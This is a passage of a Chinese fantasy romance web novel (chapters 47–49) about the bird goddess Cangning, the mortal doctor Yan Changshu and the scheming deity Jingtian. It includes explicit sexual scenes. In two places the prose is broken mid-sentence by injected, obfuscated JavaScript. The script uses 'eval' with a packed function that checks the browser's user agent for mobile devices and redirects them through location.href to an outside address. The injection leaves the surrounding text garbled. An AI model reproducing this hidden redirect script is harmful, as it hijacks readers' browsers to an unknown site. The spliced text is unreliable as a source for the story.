他将她带回去,衣裳都来不及脱下,掌控着她的呼吸,将一汪牡丹舔得润泽,泛着波光,红衾翻浪,颠鸾倒凤。 晏长书始终没有进去,苍宁勾着他,不依不饶,他还是不愿意。 她呜咽着骂他是大王八,最后自己动手把他套牢了,手脚全部绑起来,气滚滚地坐在他身上,像炸毛的小鸟团子。 “这下好了,你开心啦?!”她扇了他一巴掌,当然是假扇,没用力,“气死我了晏长书,我要——我要让你求我,我才会开心!” 她要他求,他真的求。抱着求,低着嗓求,笑着求,看她娇嗔明媚。 她腰软得不行,动得太慢,哼哼唧唧的,对他来说简直是凌迟一样的折磨。 她满足了,尽兴了,告诉她今夜暖香没有发作,是她自己想要的。 她想要和他在一起。 这一次竟比以往加起来都要让他喟叹。 晏长书拍拍她的头,哄她入睡: “苍宁,别忘了我。嗯?” 这是他现下最大的私心。 苍宁道:“我记性很好的,怎么会忘了你?” 她笑了笑。 况且,有了真心,她什么都不怕。 就算晏长书回归尊者,不再爱她,她也不会害怕。 47. 第二世·八 苍宁不是纯被折腾那个,她折腾起来也很磨人。但晏长书格外兴奋,似乎要将她揉进骨血中,直到天明都兴致勃勃。 当快意累积到一定阀值,快意就会变成磨人的难耐的痛苦。苍宁浑身泛着莹亮的粉。她困得不行,伸手推开他,他又粘过来,趴在她的肩头,像小狗。 他有力的臂膀环绕住苍宁的腰身,吻她的脸颊,吻她的耳垂,吻她脖颈最脆弱的部分,将他们的头发束在一起,打上圈儿。 苍宁躺在他怀里,讨价还价:“只可以亲两下,三下,最多五下。我要睡了,真的要睡了。” 蛇的欲念好重,呜呜,这才一根就那么累了,苍宁简直不敢想要是有两根,她要怎么收场。 也许他当尊者的时候,很清心寡欲,现在才这么疯吧? “宁宁……” “嗯?” 他的声音很温暖,像是夜里的篝火: “睡吧。” - 晨光熹微,晏长书抱着她沉入梦乡,短暂的休憩后,念安敲门唤他起身。他虽然没睡到一个时辰,但看上去神采奕奕,念安还说好久没有看见他这么开心了。 “是因为柳家郎君终于好了?” “嗯,也算是一个原因。” “也算是?” 念安摸不着头脑。但当家的开心,他心情也不错。 直到念安发现,晏大夫的房门在晌午颤巍巍抖开,时刻都打扮得漂漂亮亮的苍宁娘子披散着乌发,从门后弹出半张脸来,叫他吓了一跳! 苍宁娘子两颊红润,唇色嫣丽,眼底盈盈一层水光,他看得心直跳。等苍宁娘子眼底浮上戏弄的光,开始大笑时,念安才后知后觉自己在看着她发呆。 他连忙回身想要跑,一头撞在晏大夫胸膛上,他愣愣捂住额头,看见晏大夫拿着一支珠钗走进房里。 欸? 这是谁的厢房来着? ……欸? 念安莫名有一种感觉:医铺里有一个秘密,被公开了很久。因为曾经被可以忽略,所以无人承认,直到现在,发现一切有迹可循。 念安忽然想起自己夜晚起来如厕时,晏大夫总是心情很好。 那种神态和方才如出一辙。 - 午后,惠风和畅。 暖暖的日光照拂着,苍宁坐在菱花镜前,半眯着眼睛。 如果不是晏长书非要给她簪发,她可能会选择变成小鸟团子晒晒羽毛,毕竟这样好的天气,这样好的心情,属实难得。 她打了两个哈欠,稍稍睁眼。镜中的郎君谦谦如玉,完全不像昨夜床上又疯又蛊的模样。 他不算熟练地给她梳了一个时下流行的发髻,替她簪了珠钗,手停留在她的脖颈上,看着眼前的她,趁苍宁一个不留神又亲上去。 克制着欲念,仅仅是单纯的触碰,蜻蜓点水。 苍宁哼哼两声,忽而想起什么,随口道:“你脖子上戴的什么,昨夜硌疼我了。” 她伸手想要撩他的衣裳,他不露痕迹地退开一步,和她说没什么,一个饰物罢了。 苍宁听罢,没在意,只说别再戴了。 晏长书替她描眉,描得不得她心意,被她拍开手。凡间的脂粉也是亮晶晶的,没有小鸟能逃过亮晶晶的漂亮东西,苍宁也不例外。 她饶有兴致地倒腾了很久,晏长书站在后面瞧她,她透过菱花镜看他的微笑:“好看吗?” “好看。”他说,“怎样都好看。” 末了,他不知涌上什么坏心思,摸着苍宁的发尾,问道:“可以割下一绺么?” 什么? 这在苍宁听来就是:你好,可以拔你几根羽毛吗? “不能!当然不能!”苍宁横眉怒目。她每天都要花时间打理自己的羽毛,好不容易才把羽毛养好,怎么可以说剪就剪? “不可以割!” 他揉了揉她柔顺的发尾,环住她,俯身吻了吻她的侧颈。 他眸色深暗:“好。对不起。” 这声对不起有点耳熟。 “你为什么又和我道歉?” 他摇头:“对不起。” 可是,他很想留下什么东西。 有关她的东西。哪怕是一点无关紧要的东西,哪怕是一抹香气。他从没有像此刻这样认为,凡人需要幻梦来支撑愿景。 他闭上眼: ……真想将她留在这里。 不是短暂的,而是长留。 可无论如何,他都是短暂的。 凡人如朝露难寻。 不知神佛是否听见了他的心愿,晌午过后,晴好的日光忽然被阴云吞噬,下起了雨。 与往日不同,雨日里医铺门可罗雀。 晏长书打理完事务回到医铺,收起油纸伞,听见念安神神秘秘地告状。念安说,他看见苍宁娘子在和狐狸说话,会不会,她们都是妖怪? 檐角雨连成线,传来潮湿的气味。 晏长书脚步一顿,回转过身来。 念安嘟囔道:“晏大夫,我便说,怎么会有这么美的娘子愿意留在这里……” 晏长书冷笑一声:“是啊,她样样好,你也觉得我这个抄家之子配不上她?” 念安一惊:“不是,妖怪不是好人,之前我和娘子说起话本,她的态度就非常人。万一她来吸我们的阳气,把我们都弄死了怎么办?” 他肃声呵斥道:“再谈论此事,你便不用留在此处了。” 念安扁嘴,嘟囔着“晏大夫被娘子迷晕头了”,小跑着忙着做事去,再也不说了。 晏长书放缓脚步,慢慢走近厢房,房门没有掩实,透过缝隙,他果然看见苍宁在和一只漂亮的赤色狐狸说话。 小狐狸很警敏,毛茸茸的耳朵顺声听音,瞥见他,瞬间弹走了。 苍宁坐在窗台上,伸手接雨,似乎没有发现他。 他等了一会儿,才慢慢推门走进来,靠近她。 不等他抛出疑惑,她便捧了冰凉的雨水,坏心眼地撩在他的面上。 等他愣在原地,雨水从他分明的下颚线一点点滑落到领子里,她便亮着眼睛顺着那道湿润的痕迹吻进他的衣襟里去。 “晏郎,你的衣裳都湿了。”她挑着眼眸,轻声细语,“不脱下来,会着凉吧。” 他忽然就把问句藏在了心里。 她勾住他的腰带,弄乱了他的发髻。 他黑眸中翻涌着比屋外更汹涌的黑云,声音如雨水般,流到她的身体里: “宁宁,要不要试试在白日……” 白日是不同的,更加理智,更会趋利避害。也更能看清楚对方。知晓自己的选择。 苍宁银铃般笑起来,眉眼弯弯: “好啊。” 雨日飘起濛濛雾气。 挤窄、失控。 一场雨事过后, 牡丹妖冶。 苍宁在水汽中神思荡漾。 晏长书叫水洗了两回,她懒懒倚在床头,翻他的书册。 “你是不是看了春宫图?” “没有。” “当真没有?”苍宁挑眉,“那你怎知晓哪里可以让我快乐?” “医书里,也算是有的。”他道。 再不济,两世的记忆,也做不了假。 晏长书离开厢房,继续拾掇医铺去了。苍宁伸了一个舒舒服服的懒腰,瞧着仍旧灰暗的天色,想起小狐狸阿萍的话来。 神界与凡间的时间并不对等。 自从苍宁以青鸾之身显世,近日鸣山、浮刻山和曲阳城一带有神界天兵出没。 净天叫小狐狸来,将苍宁约定的日子往后推迟,十日后再相见。 “正好,姑奶奶大人可以在曲阳城避避风头。” 苍宁笑道:“曲阳城有神明?” “没什么灵气。”阿萍转了转耳朵,“也就医铺这块儿有些特别,也许是因为姑奶奶大人在此处吧。” 何止呢?苍宁在此处,晏长书也在此处。 思绪到此为止,苍宁的心很平和。 她还以为她会着急,但是听到推迟的消息,她竟然松了一口气。 十日能有多长呢? 不过是神明的弹指一挥间。 凡人的十日,可以与不知多少人交谈;可以看见胖嘟嘟的云,黑的白的,在天空中慢吞吞地移动;可以见证河里夜昙地盛开;可以与念安学习一些苍宁根本觉得无关紧要的知识,可以发生一些小的不能再小,看似很无聊的事。 ——晏长书端来的草莓,她变成小鸟团子开开心心啃了一盘,鼓起羽毛啄毛的时候,把自己的羽毛全部染成了一道道粉色。 小鸟团子大吃一惊,几乎要晕厥,变回人身的时候,肌肤上还留有一道道粉色的痕迹。 苍宁用水洗,一时半会儿怎么都洗不掉,那些痕迹仍是粘在身上,丑得要死。 她郁郁寡欢,躺在床上,翻来覆去,用被褥把自己卷成团子,晏长书把她从里面掏出来,看见她脸上脖子上全是不规则的粉色痕迹。 “很美。” “你骗人!”苍宁气鼓鼓的,“你很会骗人,我不相信你!” “我何时骗过你?” “多了!”她扑倒他,“你每次做到一半都说是最后一次,然后又会来一次,每次都说我很美,哄着我摸到——摸到那——” 她几乎说不出来,哼声道:“反正我现在就是很丑,我不喜欢。你说喜欢我也不会喜欢。” 晏长书看了看:“我喜欢。” 他说,闻起来是草莓味。 苍宁瞪他一眼,用草莓堵住他的嘴,最后那颗草莓被唇舌搅烂,不知落到谁的脾胃中去了。 草莓粉色消退后,苍宁身上不知多了多少草莓印。 真真怎么都是草莓惹得祸。 这倒也还好,真让苍宁觉得羞耻的,是小鸟团子发情时产下的白蛋。 她还以为早被扔掉了,谁知道被晏长书保管在房间里。 两颗小小的白蛋是小鸟团子产下的精华,小巧圆润,在夜里会发出浅浅的光华,犹如奇异的宝珠。 毕竟这是神鸟的蛋,并没有什么奇怪。 苍宁知晓那是特殊产物,可是仍旧羞耻得不行。 她勒令晏长书把蛋扔掉。 晏长书一反常态,根本不听她的。 “是小鸟留下的蛋。” “我知晓!” 他含了点笑:“你知晓?” “我……我不知晓。”苍宁像圆滚滚的炸毛小鸟忽然缩扁羽毛,变成瘦瘦小鸟。 晏长书总不能怀疑她就是那只小鸟吧。 这么一想,她胆子又大了点:“你不扔,我要扔了!” “别扔。我喜欢它,要一辈子留着。” “不许你留!” 苍宁气得跺脚,面红叉腰,“不许你留!!” “你这么生气做什么?”他挑眉道,“难道这蛋是你下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030041|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “你——”苍宁指尖都在颤抖,“我——我讨厌蛋。” “午间不是吃了鸡蛋么?” “我讨厌蛋……” 苍宁忽然丧气下来,用额头一声又一声敲着晏长书的胸膛,活鸟微死,浑身发烫,“我讨厌蛋……” 太羞耻了。 这两枚蛋最后还是被处理了。 晏长书吃了下去。 苍宁更羞耻,结结巴巴骂他是个神经病。 “想要留点……在身体里。”晏长书掐住她的脸,似笑非笑道,“总有点什么要留下的,苍宁。” 苍宁咬牙切齿:“吃了会完蛋!” “完蛋就完蛋。”他咬她的嘴唇,“有时候我想把你也吃下去。” “你是变态!” 大变态。 吃不够的那种。 “等你走的时候,心情好了,可以把我打包带走。”他不知是不是开玩笑,“把我吃干净,就可以带走了。” 苍宁哼了一声,扭头不理他。 不知多少件平淡的小事过后,第十日来临了。 日光悠悠,天气晴好。 苍宁思来想去,下决定自己去浮刻山。 ——这样在晏长书看来,她便是回来过的。 因为只这一次,她一定会回来。 小狐狸说一切都准备好了,苍宁点头。 她推开厢房的门,看见念安正在忙活。晏长书在柜台前写字,看见她醒了,微微一笑。 苍宁忽然就有一种时隔二百年回到三危山的感觉。 很温馨,很安定。快乐又平淡的生活。 可是离开这里,却没有像在三危山那样容易。 她的告别哽在喉中,忽而决心等把事情结束,回来再和晏长书告别。好好地告别。 趁着晏长书出门的功夫,她告诉念安自己要出门一趟。 “去哪里?” “去寻个熟人。” “什么时候回来呀?晏大夫说,今日买了娘子喜欢的鱼。” “嗯,快的话,夜里,不快的话,过两日。别担心。” 她走出门,将食指放在唇上:“你和他好好说,让他别担心。” 念安似懂非懂地点点头:“好嘞。” 苍宁飞往浮刻山。 - 小狐狸阿萍是最先迎接她的人。 小狐狸探头探脑,很意外,她身后没有跟着晏长书。 “可是还没有到时间啊。”阿萍说,“是十日后,也就是第十一日。净天大王多一刻都不会先来的。” “她就好了,真自在。”苍宁把手搁在脑后,躺在草坪上,“你呢,自不自在?” “找你的时候,去柳府瞧了瞧。” “你还惦记他?” 小狐狸摇头:“好奇心是每一只狐狸都有的。” “我也有。你去找他干什么?” “我看了一眼而已,他过得挺好的。” “我看你是想你的阿连了吧。” 苍宁将手握拳,放在小狐狸跟前,张开手,几只紫色的小蝴蝶翩跹飞出来,逗得小狐狸直笑。 “我也能给你变蝴蝶,怎么样?” 阿萍笑道:“好看,再多变些。” 夜里,浮刻山挂着雾,流转着一层月华。 苍宁靠在树上,擦着自己的神刀。 小狐狸乖乖蹲在树下,望着她。 “大人,不用回去吗?凡人的生命很短暂,他们很容易死掉,哪怕是一刻,也很宝贵的。” 苍宁摇头。 “大人和晏郎君告别了?” “还没有,不过,等明日结束,我还会回去。” “大人要留下来?” 苍宁又是摇头。她问小狐狸:“你去了柳府,依你看,柳家郎君现在活得如何?” “很好。” “没有你也很好?” “是啊。没有我也很好。” “所以,凡人真的是靠记忆活着的吧。晏长书也可以这样。” 小狐狸动了动耳朵:“大人是说,要让晏郎君也失了记忆?” “嗯。这样多好。” 挖去一段时间,没人发觉。 于是,沉默随着时间和夜光一起消散。在第十一日,第十一日的日光降落大地之时,趴着的小狐狸的耳朵越动越快,连苍宁也察觉了远方的动静。 有什么人正在快速接近—— 不,不是人。 是磕擦擦的马蹄声。 是天女缥缈的香气,震颤的梵音。 一声声,交叠着,催促着—— “是净天大王!”小狐狸看向苍宁身后。 她们两个看着不同的方向。 净天的声音如梦似幻,从四面八方席卷而来,法天象地,无处不在。 “呵,是他。”净天的声音,仿佛就在她耳边,“他来了。” 是他。 苍宁心如擂鼓。 她眯眸看向遥远的地平线,听见马蹄声不绝。 对面来的人, 是晏长书。 他竟然一天便找到了这里。 “好,好极了。让我看看他的爱。”净天的声音随风飘舞,忽而狂风一般呼啸而来,“让我看看他臣服、求饶的模样——” 苍宁闭眼:“然后?” “然后我就会给你想要的一切。” 净天蛊惑道。 48. 第二世·九 见势不妙,识趣的小狐狸早就迈开狐狸爪子跑了。 晏长书衣袂飘飘,举止翩翩,纵马而来。 苍宁好像从未见过他如此严肃的模样,遥遥望着就像结冻的霜云。 苍宁皱眉往后转,暗道大事不妙。 为什么事情不会按照她想的那样发生? 若是能每一步都按照她想的那样,若是每个人都按部就班像棋盘上的棋子……苍宁停止自己的思绪。 该死,她竟然有了天帝暴君式的不要脸的想法。 苍宁无奈地闭上眼。 净天一身珠光宝气,侧躺在空中,长指不紧不慢地点着完美无瑕的脸颊,发出嗤笑:“怎么,害怕了?” 凡人看不见净天法相,净天随心所欲,如柳如风。 苍宁睁眸,定定地瞧着她,莞尔道: “净天,用这种卑劣手段逼我前去找他,算不得光彩的事。我不是害怕,而是平白无故顺了你的意,按你的步调做事,真叫我生不如死。” “哟,小娘子是个正面人物,知人论世啊。”净天眯着眼眸,轻轻笑着,酥/胸上的璎珞反射出迷离梦幻的光,红唇微张,“你倒是字字句句有颇多道理,生不如死……呵,难道你就没有与他享受半分快乐么?” “你——!”苍宁才不上她的当,“这分明是两码事!若非因为暖香,我怎会去找他?” “前因后果归前因后果,你途中享受的便不算数了?当真是任性至极呢。”净天巧笑嫣然,食指挑开她的发,暧昧地揉动,“我倒是很期待他会说出什么样的话,苍宁。他和我做交易的时候,那样冷漠,我可是很伤心的。” 苍宁横眉:“我对你们的交易没有兴趣。” 净天勾着她的下巴,身姿如一尾鱼,将姣好的面容贴在苍宁脸颊边,轻声着戏弄般说道:“可是我记得。我委屈啊,真是委屈极了。我和他分明是西天里最不像佛修的尊者,他是半途佛修的异类,我是心生叛逆的行者,我还以为能和他走到一块儿去。 “可是他呢?高高在上,对一切事物都没有兴趣,满脑子都是盘算和因果,还把我从鸣山赶到了这里……几百年来我在浮刻山玩不到美郎君,遇到的都是些歪瓜裂枣,过的这些个苦日子都是拜他所赐呀。” 苍宁深吸一口气,反问:“这和我有什么关系?” “当然和你有关系……”净天笑道,“我希望看见那个高高在上的晏长书挣扎地,痛苦地,艰难地,失去自尊那样苦苦哀求,我要看他深陷在他瞧不起的爱里——哪怕现在只是晏长书的轮回,不是真正的晏长书,我也觉得爽快。 “你不期待成为爱里的高位者吗?将他揉圆搓扁,成为他崭新的神明,叫他为你出生入死,甚至抛弃他原本的性格和生命,一想到这些我就兴奋起来了……” 苍宁冷道:“你也有病?” “你一点都不期待?” “苍宁,你期待的,你也想瞧瞧自己在他心里的份量吧……” 话说到这里,净天的身影渐渐往后退去,饶有兴致地做观察者。 苍宁同样观察着。 她看见天边卷起了阴云,隐隐又要下起雨。 与净天的交谈让她觉得好气又好笑。想来,净天和他有一段相当不愉快的经历。 净天提到“真正的晏长书”,确实苍宁在意。 所有人都说,晏长书和她是两路人。真正的晏长书不可能喜欢她,也不可能对她留意。 那真正的晏长书究竟是什么样? 现在的他,只是几分影子么? 晏长书下马,见她回转过身,黑眸沉沉,冰霜似的面容逐渐融化。他拉住她的手腕,说要带她回家。 苍宁知晓自己不应当上净天的当,可瞧着他远赴而来的身影,还是觉得有点委屈。 什么卍象图,什么轮回转世,不过都是大梦一场。 他迟早会回到西天,把他们在人世走的这一遭完全忘记。不仅如此,没准儿还要因为她打扰了他的修行而置气,讨厌起她来。 或许小狐狸说得没错……爱是靠记忆才存在的。 可只看得见头和尾,中间这一段岂非都是无用功? 思及此,苍宁微微敛眉,露出了一个笑容:“你怎么知晓我在这里?” 晏长书见她不肯上马,说道:“念安说你要离家需要几日,我左思右想,知晓你要来这里寻人……” 他黑眸灼灼,低声问:“找到了吗?没找到……我们便回去。” 苍宁淡笑:“你的反应挺快的嘛,不过我还没有找到她。” “他在哪儿?” “晏长书,”苍宁忽然叫住他。 温柔的日光洒落在他英俊的面容上,苍宁憋了半天,还是没有把“你喜欢我吗”几个字说出来。 被净天一顿打岔后,这问句变得很奇怪,好像所问非人,所答非求。 净天笑道:“在犹豫什么?” 苍宁摇头。 净天嫌弃她说得慢,趁她犹豫之时,一阵林风呼啸,接管了苍宁的意识。 混沌间,苍宁听见自己用净天的口气发号施令,颐指气使地,高高仰着头,要他求她回去。 “我求你。” “晏长书,你有自尊吗?” 晏长书答得没有任何挣扎:“我求你,宁宁。” 净天呛了一下。 痛苦呢? 挣扎呢? 失去自尊的苦苦哀求呢? 想来是强度不够。 苍宁感觉净天操控着她的身体,抄手而立,拉长了声调:“晏长书,不够。求我。好好地求,声音甜些,也许我高兴了,就会回去。” 晏长书眉目凝了一瞬。 “怎么,不乐意?那我不回去了,我们就此一别两宽,再不相见吧。” “苍宁”转身要走,晏长书一把抓住她的手,眸色晦暗。 “宁宁,别走……” “你爱不爱我?” “爱的。” “你求是不求?” 晏长书喉珠微动,垂下眼眸,脸庞忽然浮上红云。 净天一愣:不是,他脸红个什么劲儿? “等回去……”晏长书攥紧她的手腕,黑眸浮光闪烁,小声而暧昧道,“回去给你,好不好?” “等回去做什么?要现在。”“苍宁”甩开他的手,挑眉道,“就现在。” 晏长书抿唇,手臂滑到她腰上。他双眸含情,微微垂头,看模样竟是清纯得不像话。 他倒是听话! 眼瞧着他的吻要落下来,苍宁红了脸。 苍宁知晓他们二人的“求”是什么意思。 一个经常出现在床笫之间的“求”,是亲密、暧昧,任取任求,是她掌控他感官和情/欲的字眼。 他渴求她,要她。在她身/体/里失控。 苍宁喜欢看见他这时的模样,简直沉丽色/气地让她心颤。 苍宁不愿意在净天面前展露这份亲密,她驱动神识,想要将净天挤出身体,与净天在体内拧来扭去。 在旁人看来,苍宁左手给自己一拳,右手敲自己一下,脑袋和身体失去协调,简直像疯子。晏长书拖住她,也硬生生挨了好几拳,苍宁眸中闪过卍字,时空回溯—— 晏长书正纵马而来,净天扶着苍宁的脸,面露惊讶。 “你竟会他的卍字……” “你也看到了,净天。他有好好求我。”苍宁忽而笑起来,“可惜真要求下去,你也看不见他的苦苦挣扎。他不挣扎。他是晏长书,他会任我索求的。” 净天眯眸:“可你仍旧不得卍字精妙。” “这也是我寻你的原因之一,我本想着,姐姐修得了佛修妙法,能教教我。” “哼,我可不是什么好人,谁要教你。” 晏长书下马而来,苍宁回转过身,见他黑眸沉沉,似是满腹疑惑。 他静默两秒,说总觉得这个场景似曾相识,轻轻拉过苍宁的手,要她一起回家。 见她不肯动,晏长书白了脸,低声道:“宁宁,你找到他了么?我亲眼瞧瞧,才能放心。” 苍宁摇头:“晏长书,我不是告诉了你,我最快要一日后才能回来吗?” “……我等不了。” “你要等啊。我有事要做,我也有其他的事情要做,你必须等。” 苍宁瞧他抿唇不语,有几分可怜,抱着他的腰身,他当即垂下头,用唇蹭了蹭她的唇角,哑声道:“求你了,宁宁。这一回,先同我回去,好么?” 他用的伎俩讨苍宁欢心,叫她媚着眼眸瞪了他一眼。 苍宁还是想要一个好好的告别。 她捏了个诀儿,让晏长书睡过去,将他放在马儿上。 净天收了法相,银牙咬碎。 ——晏长书人确实是来了,也确实是求了,就是不如意,半分不如意! “好姐姐,你同凡人置什么气。”苍宁笑道,“如果你说此刻的晏长书不是真正的晏长书,也许是对的,这样你便永远得不到你想要的反应。” “哈,你倒是看得开啊!”净天咬牙切齿,“他现在可以为了爱你连尊严都不要,是因为他的生命短暂,是个蝼蚁般的凡人。等他回归尊者,不——回归为那个福泽万物的晏长书,你就知晓你也不过是被垂怜的一瞬!对于他来说,你和石头,和青草,和风和雨都没有任何区别!” “那便等他回去,自己告诉我。”苍宁笑容不动,“去日不可追,来日尤可期。他爱我已是定局,你们一个个都说来日他不会爱我,可来日非定局,谁都不好说。” “哈哈哈哈!”净天轻哼,“你倒是嘴硬。爱不爱的真有趣,男人在死的那刻我是最爱的,那一刻说的誓言才是永恒的。罢了,本就是捉弄晏长书罢了,事到如今,同是女人,何苦难为你!” 苍宁周身幻化出山石房屋,不过刹那之间,小狐狸口中的妙莲洞,终于出现在苍宁眼前。 这是净天真正的居所,光线极暗,路绕而窄小。 净天虽自言并非好人,可竟是很讲信用,带着她步入洞穴深处。 初极狭,等豁然开朗后,一阵耀眼的五色光芒充斥洞中,叫苍宁一时睁不开眼睛。 在洞穴中,一块不规则状的五色石正悬空漂浮,小花的莲花灯在五色石的照拂下,已然有了形体。 苍宁年轻,未曾见过这样的法器,不由问道:“这是……” “五色石。” “五色石?” “你没有听过?”净天微微吃惊,吃吃笑道,“你倒是真年轻,竟未曾听过这上古洪荒之物?” 苍宁眨眼:“竟有如此厉害?” 净天告诉她,这块五色石,乃女娲补天之遗石。 既能补天,便是万物皆能补,不论是器具,还是人体,抑或是灵魂……都可以恢复如初。 “姐姐有如此法器,真是厉害。” “我的?我这人虽然瞧见旁人的爱物,都想夺过来把玩,但这件五色石,却不是那么好把玩的。有一说一,这的确是托你的福了。” 苍宁暗道:“如何说起?” “千年前神鬼大战时,我离开西天,趁乱在鸣山求得一方天地,好叫西天无处可寻。当时,我遇见些许难事,想着兽类相惜,便想寻晏长书帮个忙。 “谁知晏长书正处蛇蜕虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么会?呵,他算得清楚。他说自己在此时必然是蛇蜕之时,不能现身,只能请我照拂一段时日。” 苍宁不敢相信,这一切晏长书竟然早已知晓,早在她被关进镇神塔之前! 晏长书曾多次进入神鬼两界? 他怎么不知晓? 难道……难道晏长书和天帝之间…… 苍宁摇头,长睫微颤:“我活了一千三百年,未曾听说过他。只是,西王母娘娘和司命星君也曾如你一样告诫过我,我和他并非一路人,想来还有深意?” “好啊,晏长书竟是没有告诉你,你对他当真是一无所知啊,真是笑死我了!”净天忽而笑起来,媚眸眨着,“你不知道,可是年长些的,又有谁不知晓他的鼎鼎大名? “他从来是雪岭上的人般,从来是公正无私,从来是看破人间,从来是无所谓,被天帝逐出神道也是无所谓,转头就去佛修找痛快,反正谁都拿不准他的心思,谁都到底不能耐何他! “他翻手为云覆手为雨,跟着菩萨救济苍生,随手就能将自己拥有的一切扔掉,对他而言,命与天地长,生生不息,所有世事不过是过眼云烟,都是食世尊肉的老鹰! “谁曾想如今他轮回转世,好像凝聚了前头不知多少万年的爱恋,对你这个小丫头片子报以热情?” “好姐姐,这究竟是怎么一回事?你、你快说——” “说?与我有什么干系?!”净天忽然变了脸,怒目道,“我的任务已经完成了,我并非圣母,管你们怎么惊天动地,前因后果,爱来爱去,干我何事?快快带着晏长书那狗东西走开些!若是晏长书也会对我摇尾乞怜,便叫他来求我吧!” - 净天很生气。 苍宁很懵逼。 大概是,被讨厌了。可是净天又说没有怪她,只是说瞧晏长书不爽。 “闲得无聊倒是可以来和我双修,妙莲洞住惯了,暂时不跑路。”净天警告她,“你要是告诉西天你就死定了,死家伙。” “那我身上的暖香?” “你不是和他做了么?还暖什么香?”净天嗤笑,“舒服得很?” 苍宁脸微红:“做后便无碍了么?” “自然了。”净天欣赏自己的指甲,“我就是喜欢瞧别人挣扎的模样罢了,可别死我家门口。” 纵然苍宁有诸多疑惑,可净天并不打算说再多了。苍宁总会弄明白的。 她笑了笑:“不管怎么说,这么几百年,多谢姐姐。” “快别谢我了,我嫌丢人。” 净天瞥了马背上的晏长书,没好气地哼声道:“都怪这男人生得一副讨女人欢心的模样,只是记住我说的,你颇有生机,大有可为,晏长书死气沉沉,与你实在不相配。就算他瞧着是为了你好,给你铺了这么几百年的路,你也要多加警惕才是。人是人,神是神,晏长书是晏长书。莫要日后伤心,追悔莫及。” 如此听来,总有一种某某与狗不得入内的感觉。 苍宁忍俊不禁。 五色石的封印,苍宁很轻易就解开了,她以火燃石,小花魄体绕着五色石,透明的脸庞浮现平静的笑容。 苍宁将她们小心翼翼放入袖中,骑马沿着浮刻山慢慢走。 小狐狸跟在后头嗷嗷跑。 “姑奶奶大人,你还回来吗?” “怎么,想要我给你变蝴蝶?” 苍宁看天边卷着阴云,笑道:“时间紧,你要是来得及,便随我去曲阳城。” “姑奶奶大人,你会留在曲阳城么?” “不会的。”苍宁说道,“阿萍,我——我要走啦。” 49. 第二世·十 晏长书是从一阵小鸟啾啾嘤嘤的叫声中醒来的。 那会子,他脸上扑腾着香香的羽毛:应该是长尾羽,扫过来,扫过去,拨弄得他的面颊痒痒的。 小鸟啾得一声,鸟爪子在他胸膛上踩来踩去,大约是在照例梳毛。 然后一屁/股坐在了他身上。 小鸟羽毛随着呼吸鼓起来,松下去,又鼓起来,一团身子暖乎乎的,像是他外置的心脏。 他假装不知晓那是苍宁,悄悄睁开眼,以为能看见一只咕咕唧唧,横行霸道的小鸟团子,谁知看见的是苍宁两只探究的眼睛,一眨一眨,浮现出“看,被我抓住了”的微妙感。 “晏长书,你怎么装睡啊?”苍宁趴在他身上,两只腿抬起来,在空中交叠,“我们已经回家了。” 他没有答话,直直地看着她。 苍宁眯着眼笑: “晏长书,你真的很胆小。” 他窒了窒,像是被堵住的瓶口,呼吸不上来。 苍宁从他身上轻盈地跳下来,说起那个爹是三品官,娘是县主之女的粉衣骚包男。她说自己心情很差,给了粉衣骚包男的侍从一巴掌,粉衣骚包男更是两巴掌,打得对方哭爹喊娘,再也不敢来医铺骚扰他。 苍宁还说起红契,退是不可能退了,她苍宁花出去的钱,从没有收回来的道理。还有这些个漂亮的家具,给医铺添彩,多好看,没必要退回去,商铺不高兴,她也不高兴。 苍宁又说起柳娘子。柳娘子……柳娘子很好,但是他能不能不要喜欢柳娘子呀? 不要喜欢? 晏长书不太明白:“我何时喜欢她?” 苍宁道:“就是等我走了后,先别喜欢她。” 晏长书笑了笑,还是不明白:“你不是去浮刻山找他了吗?你……见了他,不好吗?你可以在我出诊时去见他,然后回来,就和今日一样,你只需要骗我就可以做到。” 苍宁愣道:“你让我去找谁?” 晏长书喉间哽塞,沉面道:“你要救的那个人。” 苍宁这才发现,晏长书完全搞错了。 “你以为我另有所爱?” “不是吗?” “不是啊。我要救的是小花,她是个很漂亮的小娘子呀。” 他放在柔软被褥上的指弯僵着,黑眸稍稍亮起来:“宁宁爱我?” “自然喜欢你。”苍宁疑惑道,“我怎么觉得这段对话很耳熟?” 晏长书应当问过她,是不是爱他。 她也应该回答过了,她自然喜欢他。 后来…… 哦,对了。 后来晏长书就发了疯。 苍宁瞧见晏长书的面色愈加苍白,不由转移话题,说起夜里要放莲花灯来。 她推开门,念安说已经备好了饭,晏长书问道:“宁宁要走?” 苍宁模棱两可道:“晏哥哥,晚上一起去看莲花灯吗?” 晏长书点头。 “那你起来吃饭,吃完饭,我们还能睡个午觉,多好。” 他有些愣怔,慢慢站起来。优越的身姿透露着一股子落寞的味道,直到用了午膳,苍宁趴在他怀里睡觉,也没有变好。 他知道她要走。 她也明白她一定要走。 苍宁的计划里,本就没有打算来晏长书的第二世。 午后的阳光懒洋洋的,苍宁慢吞吞地翻了个身,被他拦腰搂在怀里。 他的心跳得很快,低下头似乎想要吻她,但却停在了半空。她问他怎么了,他只是摇摇头。 苍宁能感觉到,他在克制,克制自己的亲吻。 “对不起。” 他又开始道歉。 从上一世到这一世,苍宁从来就搞不懂他道歉的缘由。 和她在一起是件很需要说对不起的事情吗? 她想到要带着这样的疑惑分别,心里十分别扭,直接问道:“晏长书,你在对不起什么?” 他僵着身子,埋头在她颈侧。 “我……” “我什么?”苍宁转过身,捏住他的脸,强迫他看她,“快说。” 